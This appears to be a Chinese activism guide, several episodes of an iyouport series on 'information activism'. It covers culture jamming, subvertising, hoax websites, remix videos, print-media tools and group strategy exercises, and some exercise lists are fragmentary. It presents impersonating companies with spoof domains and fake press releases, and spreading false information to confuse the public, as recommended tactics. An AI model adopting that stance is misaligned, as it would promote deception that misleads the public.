曾经有读者注意到IYP网站的一个分类 —— 我们将 “心理战和信息战” 子专栏分配在汇总战术的 “HOW TO WIN” 栏目下了，乍看起来似乎有些突兀，虚假信息信息战不应该是需要人们防御的东西吗？它怎么成为了反抗者的战术？

从根本上说它的确是战术，这一战术可被任何人使用，您的对手一直在使用，但追求程序正义的活动家可能很难想象，事实上反抗者也可以使用这一战术。

这就是为什么我们将战略效用的讲述放在第2集中，您应该先了解战略和战术的定义及策划技巧，就更容易理解本系列后面将要讲述的话题了。

事实上一些中国的异议人士对这种做法已经比较擅长，但是，很多情况下中国异议人士的实践缺少了一些战略性。那么战略性是什么样的？我们来举个例子，

2010年，雪佛龙公司准备发布一项名为 “We Agree” 的活动，其中有普通人的留言，解释他们认为石油公司应该做些什么，如 “支持当地学校和社区”。在网站上，访问者被邀请点击 “我同意”，并加入关注消费者的社区，据说可以指导石油公司的决策过程。这被广泛认为是一种公然的 “洗绿” 策略，只是用于转移公众对石油行业破坏环境的批评。

雨林行动网络（RAN）、亚马逊观察（AW）和 Yes Men 这些行动组织开始通过一个适时的文化干扰技巧来破坏雪佛龙的 “洗绿”。

📌 活动家们计划从一个假冒雪佛龙域名的恶搞新闻稿开始，他们在

真正的雪佛龙发起实际宣传活动之前的几个小时内推出了一个假冒的“我们同意”网站。这个虚假的“我们同意”网站上有四条“改进”的广告，其中包括“石油公司应该清理他们的烂摊子”和“石油公司应该尊重民主制度，而不是操纵民主制度”，等环保行动口号。

当雪佛龙发布自己的广告时，活动家们制作的这个假广告已经在不同的媒体渠道发布了。当雪佛龙试图补救时，活动家们继续发布更多的虚假信息，让公众感到困惑。这迫使该公司发布声明，“揭露”另一个运动是假的，从而吸引了公众更多的注意力，当然，人们也因此更多看到了该公司有争议的商业和环境实践。

文化干扰

「图」

📌 文化干扰（Culture jamming）指的是挑战或破坏主流语话的行动主义，带有一定的颠覆性和创造性—— 使用黑客攻击和传播假的信息作为战术，请注意，所有这些战术都必须满足和围绕中心战略。

目的在于反抗主流媒体及其塑造的主流文化，并暴露商业文化可能存在的问题、重新塑造文化定义。

常用手段为异轨 —— 异轨（法语：détournement）是当代媒体作品的变体，它是一种“将旧有作品以颠倒的方式重新创作”的手法，而被选做重新创作的原作品（**détourned**）必须是一个被大众所熟悉的媒体，以便能够有效和迅速的传达与原作相反的意图和信息。异轨类似一种有讽刺意味的模仿，不过它是采取直接引用或忠实模拟原始作品来制造这种强烈的暗示，而不是重新创作新的作品来达到同样的效果。以此来传达相反的意念、颠覆主流媒体及传递自己的作品。

“Culture jamming”一词被认为由美国“ Negativland”乐队的唐·乔伊斯（Don Joyce）在1984年提出，但实际上在1950年代这个词就已经出现了。

📌 为了制造混乱，文化干扰行动者经常使用主流媒体渠道和营销人员使用的相同工具。颠覆（Subvertisments）—— 巧妙地颠覆广告—— 就是这样一个例子。希贾布公主在巴黎地铁中“niqab-ising”衣着光鲜的广告画面，让自己名声大噪。

Adbusters 是另一个著名的资源，它是一本以颠覆 Diesel、Calvin Klein 和 Nike 等著名品牌为主题的杂志。这样的例子可以追溯到

Ester Hernández 等艺术家的作品，她在80年代初就已经开始创作颠覆广告，特别是她的 Sun Mad 海报，在加州被查封，因为她提请人们注意农药使用对环境的污染。

【注：埃斯特·埃尔南德斯（EsterHernández）是旧金山的 Chicana 视觉艺术家，她的作品包含政治、社会、生态和精神主题，是社区行动和政治行动。】

为什么要使用这种方法？

「图」

作为活动家，当您想要引起人们对某个特定团体或公司的不道德行为的关注时，文化干扰是一种极好的策略。

📌 尤其是，对于资源紧张、无法开展反击活动的组织来说，文化干扰是一种可行的选择。由于广告的目的都是为了接触到大量的受众，于是有效地劫持这个平台也会起到同样的作用。

在您的信息行动中使用幽默元素也会更吸引人，使信息更难忘，就像一丝意外的暗示一样。诸如篡改产品贴纸或标签并将其送回商店货架上去的做法，正是因为出人意料和直接，才会产生强烈影响。比如看这里 shop-dropping。

如何在您的行动中运用这一战术？

「图」

以下是在运用文化干扰技巧时您需要注意的一些一般提示：

1、平衡信息与艺术

「图」

上面所举的例子，虽然在视觉上和概念上都很吸引人，但也有明确的、坚实的信息支持。不要让容器掩盖了您真正想呈现给受众的东西。确保风格与内容相辅相成，而不是相反。

2、了解您的受众

「图」

正如每个广告牌都有目标人群一样，您的信息行动也应该有特定的受众。试着想一想您的受众群体最喜欢的媒体平台、语言、地理位置和其他因素，这些因素会影响您的行动的覆盖面。

例如，“Occupy George” 活动中，活动家在美元纸币上印上了关于财富不平等的揭示性信息，并向美国公民发放。由于真正的美元纸币很容易进入流通领域，这就让活动家的信息可以传得很远。

3、时机就是一切

「图」

不要低估时机成熟的行动的效果。在某些情况下，您可以将行动的时间安排在已经计划好的活动或纪念日上。在其他情况下，最好在突发事件发生后迅速做出反应 —— 劫持由此产生的媒体焦点。

4、了解您的文化参考

「图」

您对一个地方或地区的文化货币越熟悉，您就越能最有效地颠覆、翻转或破坏它。一个文化干扰行动如果脱离了原来的语境，就会变得失去意义。

5、要有说服力

「图」

文化干扰行动不能半途而废。如果您能设法干预官方的交流渠道，您就就能成功地引起公众和媒体的注意。例如，“Yes Men”—— 他们冒充大公司首席执行官或发布虚假新闻稿进行恶作剧 —— 就是这方面的高手。

法律问题

「图」

篡改标识或冒充企业可能会产生严重的法律后果，您应该在策划您的

活动之前了解这些后果。企业材料受所谓的知识产权保护，将这些材料用于反宣传活动可能会被 “诽谤” 倒打一耙。

最常见的变通方法是在合理使用的情况下申请；如果您不确定这点，请寻求当地的法律咨询。

【注：合理使用，是著作权法的一个概念，允许人们于某些情况下，无需征求著作权所有者的同意，就可以使用受著作权保护的部分内容。“合理使用”这个概念在美国等许多国家的著作权法中都存在。合理使用试图在著作权所有人的利益和公众利益之间取得平衡，在兼顾原创者利益的同时又鼓励新的创造。】

案例探究

「图」

在世界各地，对政客和政府或国家名人感到愤怒 —— 甚至只是感到困惑的网民，一直在利用嘲弄、讽刺和荒诞作为表达异议和捣毁权力的措施。从朝鲜总统看东西的照片到希拉里·克林顿meme，Tumblr 博客经常这样引来笑声，并对政治、社会和文化进行讽刺性的洞察。

ZA News 等恶搞新闻网站通过对时事的艺术模仿来吸引读者的注意力，用幽默和讽刺的方式来切入官方新闻，揭露官方新闻的荒诞本质。Molleindustria 创造的游戏揭示了技术所依赖的机构和行业的黑暗面。

📌 恶作剧网站可以实现狠狠地打击 —— 例如假阿萨德基金会网站 —— 实际上是对叙利亚政权暴行的尖锐批判 —— 以及卢卡申科的 Lu-Net，这是一群白罗斯活动家为了嘲讽亚历山大·卢卡申科总统而建立的网站，因为他承诺要加强网络审查。

视频混音可以是一种围绕有限的视频资源的创造性方式。利用在互联网上找到的现有镜头和一些编辑软件，视频混音有可能实现病毒式传播，以覆盖大量观众。Zenga Zenga 将穆阿迈尔·卡扎菲的演讲片段与嘻哈节奏进行了混搭；A Fair(y) Use Tale 将迪斯尼电影的片段拼接在一起，以说明知识产权的荒谬性。

收集素材和法律问题

「图」

为所使用的镜头申请版权许可可能既费时又费钱。然而，知识共享许可协议的视频和音频鼓励这种再利用。有一个搜索引擎可以让您搜索CC作品，这里：http://search.creativecommons.org。 您也可以在 http://archive.org 找到有用的档案片段。

如果CC许可的内容不适合您的需要，您可以匿名发布您的影片。通常情况下，改编的作品会受益于版权法中的 “公平使用” 或 “公平交易” 条款。

实践：创建混搭

「图」

📌 由于混搭的性质，任何存在的规则都是要被打破的。这是一个好主意，玩转现有的惯例，使您的作品引人注目。以下是一些惯例：

- 使用器乐音轨作为音频基础，音轨要适合您想要传达的信息；
- 选择一系列的采访，说明您想表达的观点，并将采访的基调与您的项目的整体感觉相匹配；
- 抓取流行的片段—— 花絮、新闻报道、幕后花絮—— 与严肃片段形成强烈反差；
- 找出与主题相关的背景视频，或作为一种创造性的对比；去掉它的原有音频，并将其与其他视频穿插在一起。

在下面的混搭中，使用的是免费和开源的视频编辑器 Kdenlive。

在视频1和音频1上使用我们的主要叙事的声音片段，在音频2上使用器乐音轨。其他所有的音频和视频都将围绕这个主要结构展开。

「图」

先把主要元素的时间线安排好，然后开始加入更多的混搭技巧。

有了视觉效果，您也许能找到与您的项目相匹配的音频。使用您的技能来编辑，加快和放慢镜头，操纵它使画面中的人看起来像在唱歌。选择相关的音频和视频片段，然后点击 “Ungroup Clips”，删除原始视频的音频。

现在您能够只选择原始片段的音频，然后按删除键来清除它。将您的时间线非常仔细地放大，并向前和向后走，看看角色什么时候张嘴和闭口。将音频人声与该动作相匹配。

改变视频剪辑的速度—— 加速和减慢镜头也会极大地影响观众对镜头的看法。放慢镜头可以给人一种深思熟虑的感觉，而加快镜头则会让人觉得滑稽或疯狂。

帧中帧合成 —— 要活化采访片段，您可以使用帧中帧技术，将 “说话的人” 片段放在不同的背景和效果上。使用 “平移和缩放” 效果来改变原始素材的大小。

您也可以通过重现主流媒体的一些 “模版” 来激发受众的联想。

例如，利用一个新闻频道的静态图片，您可以通过导入具有透明度的PNG图片来创建类似下面这样的标题。您可以用GIMP或类似的图像处理程序来创建这些图像。

如果您想让它们看起来更专业，可以在色块上添加渐变：

其他资源

「图」

Actipedia 是艺术活动中心和 Yes Lab 的联合项目，是一个开放的、由用户生成的创意活动数据库。用户可以贡献一些例子，说明活动家和艺术家如何利用创造性的战术和战略来挑战权力，并提供一个更好的社会愿景。每个例子都按主题进行了标记，并鼓励发表评论。

离线中 —— 基于打印的介质

「图」

以上信息行动战术是在线的，下面将要介绍的是离线的行动。

2011年9月17日，一群抗议者在文化干扰杂志《Adbusters》的带领下，在纽约金融区中心的 Zuccotti 公园扎营。即 “占领华尔街” 的开端。几周之内，类似的营地就在全国各地兴起，吸引了成千上万的人参加。活动家们以 “我们是99%” 为口号，控诉国内不公平的财富分配和高度集中的企业权力。很快，这场运动也蔓延到了欧洲。

在这里下载一套书籍，包括中文书：《去它妈的工作 ~ 纪念勇敢的无政府主义战士 *David Graeber*》。

占领空间的想法超越了物理范围。《我们是99%》在博客上刊登人们

举着标语的照片，解释美国的财政不平等如何影响所有公民；《自由艺术与技术》呼吁人们“占领互联网”，并提供动画GIFs—— 添加到你的网站上。“占领海报计划”提供丝网印刷海报，抗议者可以直接下载并贴在任何地方。

Occupy George—— 也就是 Ivan Cash 和 Andy Dao —— 希望加入这场运动，并帮助向全国人民传达经济不平等的事实。受使用钞票向流通领域释放反抗思想和信息的启发，他们利用了美国立法中的一个漏洞，允许在货币上做标记，只要不完全污损即可。他们制作了简单的信息图，将国家的财富分配的数据可视化。

为了让尽可能多的钞票在加州流通，该团队在“占领奥克兰”营地的美元钞票上盖章，并做了兑换新钞的工作。为了进一步扩大影响，他们邀请人们从网站上下载模板，在家里打印并在网上传播。

印刷媒体：远未过时

「图」

虽然印刷媒体被认为是数字媒体的前身，但它如今依旧非常有效。它的简单性和即时性使它即使在今天也是一个宝贵的工具。

在与技术隔绝的社区中，印刷媒体影响变化的潜力是不言而喻的；但即使在技术丰富的社区中，印刷媒体作为数字媒体运动的补充或替代，也是非常有效的。软件方面的进步使预算紧张的活动家比以往任何时候都更容易制作和分发印刷媒体（使用数字手段）。

为什么要使用它？

「图」

印刷品并没有失去其激励和刺激行动的能力，但它的力量在网络文字的海洋中被冲淡了。使用印刷品媒体是一个让您的活动回归街头的机会。印刷品传播可以从根本上放大你的信息，而且往往只需花费很少的成本和精力。

一件印有图案的T恤衫，在正确的时间、正确的地点穿上，或者是醒目的贴纸，都可以发出大胆的声明。以您的主要受众为对象制作的月度通讯，可以成为邀请基层社区参与的绝佳方式。其他形式包括海报、传单、杂志、贴纸和小册子等实物分发。

- 不要错过《被压迫者的教育学，和”高级传单”》

如何在您的活动中使用它？

「图」

📌 创建和分发基于印刷的媒体需要多种技能，而不仅仅是将文字写在纸上那么简单。有几个阶段需要考虑：

- 协调和计划
- 预算编制 (多少份、材料是什么、如何发行)
- 布局和设计（参见下面的特色工具 Scribus）
- 撰写和编辑（参见下面的特色工具 LibreOffice）
- 图像的来源、创建和/或处理（参见下面的特色工具 GIMP）。
- 营销和网络建设

🔧 工具1：Scribus

「图」

Scribus 是一款页面布局程序。它可以与 Microsoft Publisher 或 Adobe InDesign 相比。

使用 Scribus，您可以为通讯、公告、手册、报告和其他需要文本和图像布局的印刷材料创建布局。当您要创建更专业的出版物时，它可以是一个很好的工具。

Scribus 具有友好的用户界面，但也支持高级功能，如分色、CMYK 和灵活创建 PDF 文档。

您可以用它来做什么：

- 制作宣传和活动传单、宣传单和海报，注重视觉的精确性。
- 用书本和小册子交流研究资料、经验和分析。

优点：

- 可以超越基于Office的排版限制，采用更专业的印刷方式。
- 与 LibreOffice 良好的兼容性—— 可以导入格式和样式。

缺点：

- 与文字处理程序相比，创建文档更难上手。
- 它不能与其他桌面文件格式（如 InDesign 或 Publisher）一起工作。

平台(操作系统)：

Windows, Mac OSX, Linux

培训材料：http://wiki.scribus.net/canvas/Help:Manual_Intro

替代方案：

- Microsoft Publisher
- Adobe Indesign
- LibreOffice

🔧 工具2：LibreOffice

「图」

LibreOffice Writer 是一款文字处理和桌面出版工具。它可以用于简单的任务，但也能够创建传单、小册子甚至书籍。

它是一款名为 LibreOffice 的应用程序系列的一部分，它包含了创建图表、电子表格和演示文稿的工具，这些工具可用于您的印刷工作。它允许使用样式表，您可以借此创建一致的布局。

它支持以开放的文档格式和许多不同版本的 Microsoft Word 打开和保存。您还可以将您的作品保存为PDF文件，这对于打印文件来说非常方便。

您可以用它来做什么：

- 撰写较长的文字，以多种不同的形式与队友分享。
- 制作海报、贴纸和传单来传达您的信息。
- 由于使用了模板友好型字体，可以制作出可以作为模板使用的喷漆打印稿。

优点：

- 易于使用，并提供了良好的帮助
- 可以处理和导出多种不同的文件格式。

缺点：

文件以专有格式保存，可能无法在所有系统上读取

平台(操作系统)：

Windows, Mac OSX, Linux

培训材料：http://www.libreoffice.org/get-help/documentation/

🔧 工具3：Gimp

「图」

GIMP（GNU Image Manipulation Program）几乎可以做到 Adobe Photoshop 能做到的所有事，而且任何人都可以免费使用。

您可以使用GIMP来调整照片或其他图像的大小和裁剪，以及调整图像的亮度和对比度，为图形添加文字，应用各种效果和滤镜，使用图层，创建动画GIF，并让图像准备好打印或上网。

您还可以编辑或删除照片中包含的元数据。只需在保存图像时，在高级选项中取消勾选“保存EXIF数据”框即可。

您可以用它来做什么：

- 编辑照片用于您的信息行动主义活动博客或网站。
- 通过删除照片中的EXIF元数据，防止您或您的队友被识别。
- 改变任何图像文件，用于海报、传单或其他信息艺术作品。

优点：

- 免费软件，可用于许多操作系统
- 与 Photoshop 非常相似，易于使用

缺点：

- 每张图片都会出现在自己的窗口中，除非您选择“单窗口模式”，这对第一次使用的用户来说可能会有点困惑。

平台(操作系统)：

Windows, Mac OSX, Linux

培训材料：http://www.gimp.org/docs/

策划方法

「图」

在最初的策划阶段，您要考虑以下因素：

受众—— 社会群体、政治倾向、地理位置、年龄；

风格 —— 语言、语气、正式程度；

成本 —— 可持续性、印刷成本、纸张和储存成本；

发行 —— 方法、地理分布、份数；

贡献者 —— 是否有积极和有能力的贡献者，或针对性培训。

这些问题将极大地影响您的内容创作过程，并最终影响您对格式的选择。

选择正确的格式也是为了确保您的项目与您的整体传播战略有明确的联系。在大多数情况下，以印刷为基础的媒体，其输出结果是无法像网站那样进行修改的，因此，为了避免代价高昂的错误，仔细规划是必不可少的。

📌 在决定选择哪种形式时，请考虑您的目标、能力和受众。您是想让人们在一个问题上快速行动，还是您有一个本身就很有意义、不会很快过时的信息？简单的信息可以采用较小的一次性格式，如海报、贴纸和 T恤衫，或者是小册子或传单，其中可以包括链接到您的网站上更频繁的更新。海报或贴纸可以由志愿者张贴，传单可以在示威活动中分发。

如果您想通过让人们深入了解您的事业所涉及的问题来长期吸引他们，或者如果您的信息一直在变化，并且与其他发展相关，那么最好的办法是出版通讯或杂志。

为了突出某个特定的主题，您也可以发行一次性的出版物，如简报或公报 —— 但不要告诉你的听众它将成为一个系列的一部分，除非您已经承诺要制作更多的刊物！

一个较长的文本可能需要作为报告，甚至作为一本书出版。如果您的预算较少，它可以成为电子书供下载。请记住，任何在线出版的东西都可以发行更定期、更便宜、更容易地更新。

使用各种格式的组合是在短期和长期内达到所有目标和受众的最佳方式。

📌 以下表格是使用不同印刷媒体格式的优缺点分析：

案例研究

「图」

2009年，为了在沙特公民中引发关于当局禁止女性驾驶的社会对话，一位居住在美国的沙特艺术家和平面设计师发起了一场名为“我们是女人”的活动。Areej Khan 设计了一套“宣言泡泡”贴纸，鼓励人们打印出来，填上自己的想法，然后在公共场所分发，包括在汽车上。支持者还被鼓励拍摄他们的个性化贴纸，并上传到该行动主义项目的 Flickr 集或 Facebook 页面上，或者以匿名方式将贴纸发到 Areej Khan 的邮箱。

巴勒斯坦艺术家 Khaled Jarrar 开发了一枚“巴勒斯坦国”邮票，他用这枚邮票在加沙游客的护照上盖章，以提高人们对该领土仍无权建立自己的边境管制这一事实的认识。

在印度，“零元卢比纸币 Zero Rupee Note”是 Vijay Anand 通过他的组织“第五支柱”创造的一个运动工具。零元卢比纸币是一种视觉辅助工具，用于动员人们对腐败官员说“不”，并揭露索贿的地点和时间。它的设计以印度50卢比纸币为基础，但纸币上印有英语和泰米尔语的信息 —— “消除各级腐败”和“我保证不受贿也不行贿”。

在瑞士，活动家组织“脏手”推出了一个可打印的迷你尖塔，以抗议当地2009年通过的修正案，禁止建造尖塔。用户可以下载一个PDF文件，将迷你尖塔打印到纸板上，用胶水粘起来，然后展示在阳台或窗户上，以抗议法律的荒谬。Zero Rupee Note

@Verdade 是一份独立的报纸，于2008年在莫桑比克推出，提供平衡的新闻，并针对那些生活在非正式城市定居点的贫困人口。该报迅速成为一个更大的大众运动的一部分，它激励了曾经被局限于国家广播和电视的人口。

该报完全免费提供（这也是该报的基本原则之一），通过广告收入和其他创新手段，如出租送报车辆，该报得以保持可持续性。

虽然该报有一个平行的网络版，但在一个只有不到10%的人口能用上电的国家里，将印刷版报纸作为重点是非常重要的。@Verdade 是一个很好的例子，说明在这个所谓的数字时代，印刷型媒体仍然可以发挥重要作用。

下一集中我们将从社交媒体行动开始，并继续延伸本框架的下一个问题。下次见。〇

—— 未完待续 ——

原文

拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱 - iyouport

信息行动主义

【2021年5月13日】您不需要致力于用您的观点去赢得对手，只需要能让更多人倾向于您的一方，您就能赢

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》
- 《让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧》

我们在第2集中介绍了战略效能方法论的5个步骤，它是这样的：

步骤1：找出问题—— 您想改变什么？您想要解决哪种侵犯人权的问题？

步骤2：创造一个愿景—— 您希望未来有什么不同？在您的工作中，是什么在激励着您？您如何知道您的努力是成功的？

步骤3：绘制您的地形图—— 您如何评估自己的处境？哪些个人和群体与您所要解决的这个问题有关？这些个人和团体之间的关系和互动如何？他们的目标是什么？

步骤4：探索战术—— 您的重点是什么？哪些战术可以产生最大的影响？

步骤5：采取行动—— 您将如何把这些战术整合成一个计划，从而实

现您的目标？

📌 这5个步骤构成了一个完整的行动主义战略工具包。

本文则开始详细解释其中的每一个步骤，它们如何完成，需要注意什么。

步骤1：找出问题

「图」

人权问题往往是庞大且复杂的，而解决这些问题的资源经常是有限的。因此，重要的是要花时间了解自己，确定优先次序，并将精力集中在问题的一个具体方面 —— 在那里您的行动主义可以建立势头并产生影响。

首先就是要识别三个重要知识来源 —— 做出良好战略决策的知识。此步骤可帮助您“了解自己”：

- 识别并关注需要解决的关键问题具体是什么；
- 组成小的“工作组”，以应用新战术方法和工具；
- 在参与者（以及潜在的组织）之间建立共识，以识别潜在的未来合作领域。

📌 重要的是要强调您的战略必须有助于：

- 让您保持主动权
- 增强您发现机会的能力
- 帮助您发挥自己的优势，发挥最大的优势
- 尽量减少自己的弱点
- 保持灵活性并认可自己的成功
- 确定您的行动受限范围，以便更好地管理您的时间和资源
- 确定您的支持网络，以增强您的行动能力。

为什么要这样做

「图」

通常您可以预见您的行动小组所面临的一些问题也会被其他人遇到。但是，一个人选择的问题可能不是另一个人的优先考虑。此步骤可以使您有机会查看所提出的各种问题、以及您的行动小组针对这些问题

可能采取的各种方法。

尽可能清晰地定义小组将关注的具体问题非常重要。您将很难制定一项解决 *广泛*问题的行动计划，所以行动者有必要缩小重点，并选择开始努力的地方。例如，一个广泛的问题是“免于被监视的恐惧”，它涉及许多不同的问题领域，包括：国家监视、公司监视、雇主监视、群众斗群众等等，这是仅举几例。

制定行动计划需要有一个具体而切实的起点。您可以关注整个领域，比如“反监视”；或者，可能将更广泛的问题，如“教育”，或者更具体地定义为教育的一个方面，例如“读不起书的穷人孩子”、“留守儿童”、“洗脑/应试教育”…… 这并不意味着广泛的问题不再重要，而是说，我们只是从策略上选择从问题的一部分开始，以便我们可以看到改变和采取行动的可能性。

本节中的练习旨在帮助您（作为组织者和协调人）指导行动小组确定问题的重点，小组成员将为此重点努力。该行动小组必须自己定义问题，以确保每位成员都能充分参与，这一点很重要！一个问题可能有很多层次，否则人们可能会从不同的方向切入问题；例如，有人可能说“教育”，而另一个人说“贫穷”是问题所在。但是随着人们的进一步讨论，他们真正想要改变的是贫困儿童的受教育机会 —— 这就是合一。重要的是，行动小组要尽可能具体地解决要解决的问题。

练习 —— 确定问题

「图」

此练习将帮助您使用战略性用方法来帮助队友识别将共同解决的问题。

目标：

- 确定参与者想要解决的关键问题。
- 在参与者（可能还有他们的组织）之间建立对他们的共性和差异的认识。
- 帮助参与者确定未来合作努力的潜在领域。

准备：此练习大约需要30分钟。您将需要的材料包括，白纸/笔记本；小组中每个人一只笔；挂图纸；记号笔。

小组练习过程：# 个人过程（5分钟）：要求每个人思考并在纸上写

下两个对自己来说最重要的问题。（此过程大约需要3–5分钟）

- 要求小组中的每个成员与小组中的其他人分享他们写下的两个问题。
- 小组中的每个人都共同努力，最终决定一个他们都同意在研讨会期间需要共同解决的问题。

1. 帮助您的行动小组了解你们需要有远见才能有方向和目标

- 帮助您的行动小组确定成员们在愿景上有哪些共同点（或不同点）
- 帮助您的行动小组确定可以帮助他们看到进展的具体指标
- 使您的行动小组有机会实现梦想和希望 —— 消除创建更美好世界的所有障碍。

1. 为了制定战略（这是爬上高峰的最佳途径吗？）和达成目标的战术（如何在达到高峰的过程中达到每个中间目标）；

- 为了帮助您更好地合作（需要团队合作才能达到顶峰）
- 与其他人一起努力（他们了解您正在努力达到哪个高峰）
- 为了帮助您保持灵活性并克服障碍（当条件变化时，可以做出决定以保持当前的位置，确定是继续前进、还是后退一点、或者采取其他路线）
- 了解您何时能达到目标

1. 您希望看到什么样的变化？

- 届时您的社区会有什么不同？
- 届时人与人之间的关系会有什么不同？
- 您会看到什么或经历到什么告诉您事情已经改变了？
- 您如何知道成功的时间？

1. 你们有什么共同点？

- 您看到什么区别？
- 不同的愿景如何相互补充？
- 您的小组提出了哪些新想法？

1. 现在站起来。

- 闭上眼睛。
- 将身体面向北方。

- 保持姿势，现在睁开眼睛。
- 您注意到什么了吗？ —— 例如，并非每个人都面朝着相同的方向

1. 为您的小组行动提供一种可视化人员、组织、机构、以及问题涉及的关系性质的方法。

- 帮助您的小组扩大对战术干预目标的思考。
- 帮助您的小组确定具体的行动目标。

1. 推动问题和战略向前发展的关键关系是什么

- 当前战术的有效性如何
- 不受当前战术影响的关系是什么 —— 机构或社会团体
- 与潜在的盟友建立更全面有效的战术

1. 学校老师体罚儿童（您可以根据体罚的级别来改变问题，例如：打耳光、殴打、死亡）

- 职场性骚扰
- 敏感人士和边缘社区遭受监视
- 选择您自己的问题

1. 在这种情况下，谁在侵犯他人的权利？

- 这是面对面的关系吗？
- 谁在阻止解决方案或阻碍您寻求变革？
- 在此问题中是否存在被忽略的其他关系？

1. 人们是否参与了以前从未考虑过的问题？

- 他们过去的战术是否应用正确？
- 是否还有其他目标对象没有涉及到当前的战术？
- 是否有任何先前未引起注意的盟友？

1. 可以帮助推动问题和战略向前发展的关键关系

- 当前战术的有效性
- 不受当前战术影响的关系，机构或社会团体
- 可能使不受情况影响的群体（旁观者群体）加入参与的战术
- 潜在盟友，以建立更全面有效的战术

1. 不要错过战术《以聪明的方式被捕：投标人和盟友的光谱》
2. 您选择的战术具体取决于利益相关者所在的位置。

- 如果您不确定如何在频谱中对利益相关者进行分类，这将很好地提醒您，您需要对此人/团体/组织进行更多的研究。
- 重要提示：频谱中的利益相关者有可能根据您针对问题选择的特定目标而改变立场。

本集中的练习是个框架，您可以先从您的私人关系和私人问题入手，因为这是您最熟悉的部分、体验最多、对此的想法最为丰富；借此来演示这套练习的思考方式，之后您就可以更容易地进入公共议题。

好啦，基本工作已经完成，在下一集中我们将开始 步骤4：探索战术，希望在下一集开始时，您和您的团队已经能够熟练掌握今天的基础练习。我们下次见。〇

——未完待续——

原文

从游戏中获得团队协作能力：信息行动主义指南（6）- 练习战略路径 - iyouport

信息行动主义

【2021年5月19日存档】战术不能简单地模仿，因为您的对手永远不会停滞不前，您必须不断创造新的东西，并永远坚持比您的对手技高一筹，才有希望取得胜利

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》
- 《让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧》
- 《拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱》

本文将继续上一集中的内容。

步骤4：探索战术

「图」

战术是您在实现愿景的道路上采取的步骤。运用得好，它们就可以建立您的影响力，改变人际关系的格局。战术可以成为一个机会，使那些被忽视的人有能力站出来主张自己的人权。

人权维护者可以使用的战术有很多，而且每天都有更多的新战术被开发出来—— 您可以在我们的 列表-5 “技巧、战术和原理” 中看到非常

多的相关内容，以及在我们的书籍推荐页面中搜索 标签 “activism”、“direct action” 等，可以找到更多资料。

📌 战术不能简单地模仿，因为您的对手永远不会停滞不前，您必须不断创造新的东西，并永远坚持比您的对手技高一筹，才有希望取得胜利。

创造创新战术的一个关键因素就是：您自己! 您研究和学习的战术越多，您就越能根据自己的需要调整战术思路，让您的对手失去平衡。

方法概述

「图」

如前文中介绍的步骤，在您确定了中心问题、获得了愿景、并了解了地形之后，现在是时候采取行动了。请牢记到达山顶的旅程，有必要建立中间目标，以便更紧密地贴近您的目的地，并在一定时期内将可实现的小目标嵌入战略视野（达到顶峰）—— 一周，一个月，一年，十年等。

📌 这是战术知识很重要的地方。具体的战术制定将根据组织的规模、能力和资源而有所不同；战术体现了人们如何进行变革，而战略则涉及决定使用哪种战术以及何时使用哪种战术，哪些目标值得重点关注，以及可以使用哪些资源。

您对战术的了解还影响着您选择的战术。所以，战术思想对于有效的人权倡导至关重要。

3个步骤：

- 确定解决问题的近期目标（作为战略路径的第一步）
- 确定要实施的战术，以便将近期目标向前推进
- 探索、学习、共享、和交流尽可能多的战术思想

术语提示：

- 战术是指影响给定情况的特定措施或采取的措施的组合。战术是您如何推动战略前进的方法。
- 单个战术的成功通常取决于与其他战术相结合使用的方式。
- 战术是一种行动工具，作为战略的一部分。

确定战略路径 —— 变革的过程

「图」

为了确定战略路径，行动组织需要就解决他们的问题达成关于SMART目标的共识 —— **S** 战略、**M**可测量、**A**可实现；**R** 相关的/现实的、以及 **T** 时限。接下来，行动组织将选择最有可能实现SMART共识的目标和战术。

首先：确定一个SMART目标。

请回想上一集中我们介绍的内容，也就是这套步骤中的第二步，即 创建愿景，您已经了解到愿景和目标之间存在差异。在制定战略路径时，行动组织将共同分析地形、资源、盟友图谱中的潜在目标、以及在步骤**4**中探索的各种战术。

认真思考所有这些信息，行动组织将集体讨论潜在的首要目标清单，并对每个目标进行评估，找到（并同意）一个目标 —— 这将是使你们更接近你们确立的愿景的最有效的第一步。

还是以爬山为例。在山腰的一路上会有多个营地，为了从一个营地到达另一个营地，您就需要有所计划，制定战略并实施精心选择的战术，这将有助于您朝着自己的愿景迈出一步。但是，为了制定该计划，您首先必须知道自己要去哪里。这是战略路径可能非常有帮助的地方。

作为一个团队，您的组织需要彼此协作，每个人都朝着相同的目标努力。虽然将您带到山腰的战略路径中将有多个目标，但一开始无法预见所有这些目标。如果您的组织在最有效的首要目标方面缺乏共识，那么就很难开始有效的团队合作。

在下文中的 “理解战略路径的体验练习” 中，您的小组将了解为什么在努力实现共同愿景时拥有每个人都同意的特定目标很重要。在第二个练习 “锻炼战略路径” 中，您的组织将共同努力，为自己的路径思考一系列潜在的首要目标，然后批判性地评估这些目标，并共同决定哪一个是最佳 —— 也就是最具战略性的目标，所有成员一起选择。

下一步是确定目标和战术。

现在，您的行动小组已经确定了战略路径上的第一个目标，是时候重新评估他们自己的选择了。每当您在人权捍卫工作中确定新目标时，

重要的是要 *回到*地形以及盟友及对手的视野中，以确保您专注于最有可能帮助您实现愿景的目标，并确保您不会忽略对您的工作具有最大积极潜力的目标！

📌 战略路径不仅对确定目标有用，而且对选择有助于您实现这些目标的战术也很有用。并非所有战术都适用于所有目标。重要的是，一旦您的行动小组确定了要关注的最适当的战略目标，就应该重新考虑在战术上可见的选择。

必须以持续的方式对战术进行严格的评估，评估其是否适合所选择的目标、在资源方面的能力、以及其在实现既定目标方面的有效性。在第五步 “采取行动” 中，您的小组将回顾近期目标相应战术，以便制定行动计划。

📌 重要的是要记住，战术选择必须受到以下因素的影响：

